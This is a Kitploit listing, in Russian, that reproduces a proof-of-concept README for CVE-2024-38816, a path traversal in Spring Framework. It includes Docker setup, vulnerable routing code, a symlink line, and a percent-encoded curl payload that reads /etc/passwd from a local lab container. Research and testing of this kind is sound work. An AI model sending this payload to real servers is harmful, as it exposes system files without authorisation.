Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-38816-PoC — Proof of Concept для CVE-2024-38816 | Kitploit
Инструменты/GitHubGitHub/wulinpin/cve-2024-38816-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubwulinpin/cve-2024-38816-poc

CVE-2024-38816-PoC

Proof of Concept для CVE-2024-38816

Репозиторий
9761 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-38816 Доказательство концепции (PoC)

Это доказательство концепции для уязвимости CVE-2024-38816, демонстрирующее эксплуатацию обхода пути.

Шаги выполнения

  1. Соберите Docker-образ: (Spring Boot 3.0.13, на основе Spring Framework 6.0.3)

    root@kitploit:~
    docker build -t cve-2024-38816-poc .
    
  2. Запустите контейнер и пробросьте порт 8080 на хост-машину:

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
    
  3. Выполните следующую команду для запуска PoC и подтверждения уязвимости:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Если отображается содержимое файла /etc/passwd, уязвимость подтверждена.

Примечания

Этот PoC создан на основе анализа заметок о выпуске и логов коммитов. Поведение реальной уязвимости может отличаться, поэтому точность не гарантируется. Используйте на свой страх и риск.

Соображения

  1. Уязвимость была исправлена в Spring Framework 6.1.13, что подтверждается заметками о выпуске.

  2. Просмотрев заметки о выпуске и соответствующие логи коммитов, я выявил следующие две проблемы, которые могут быть связаны с этой уязвимостью:

    • Issue #33424: Была добавлена новая опция, связанная с символическими ссылками.
      • Соответствующий коммит: 5d80d75051f395c17f6b9367e267d458585b336d
    • Issue #33434: Был изменен код для очистки символов с %-кодировкой.
      • Соответствующий коммит: d86bf8b2056429edf5494456cffcb2b243331c49
  3. Согласно уведомлению о безопасности, для успешной атаки, вероятно, должны быть выполнены следующие условия:

    • Используется RouterFunctions
    • Используется FileSystemResource
    • Присутствуют символические ссылки
    • В атаке участвуют символы с %-кодировкой

Настройка окружения

Для воспроизведения уязвимости используется среда Docker.

  1. Создайте PathTraversalDemoApplication.java со следующим кодом для настройки маршрутизации статических файлов с помощью RouterFunction и FileSystemResource:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. Добавьте следующую команду в Dockerfile для создания символической ссылки:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. Создайте полезную нагрузку, использующую %-кодировку для обхода каталогов через символическую ссылку.

    • Путь: /static/link/%2e%2e/etc/passwd
  4. Используйте следующую команду curl для выполнения PoC и проверки успешности атаки:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    Если атака успешна, будет отображено содержимое файла /etc/passwd.

Отказ от ответственности

Этот PoC предоставляется в образовательных целях и для исследований в области безопасности. Перед использованием в реальной системе убедитесь, что уязвимость устранена и у вас есть соответствующие разрешения. Автор не несет ответственности за любое неправильное использование этого кода.

Скачать инструмент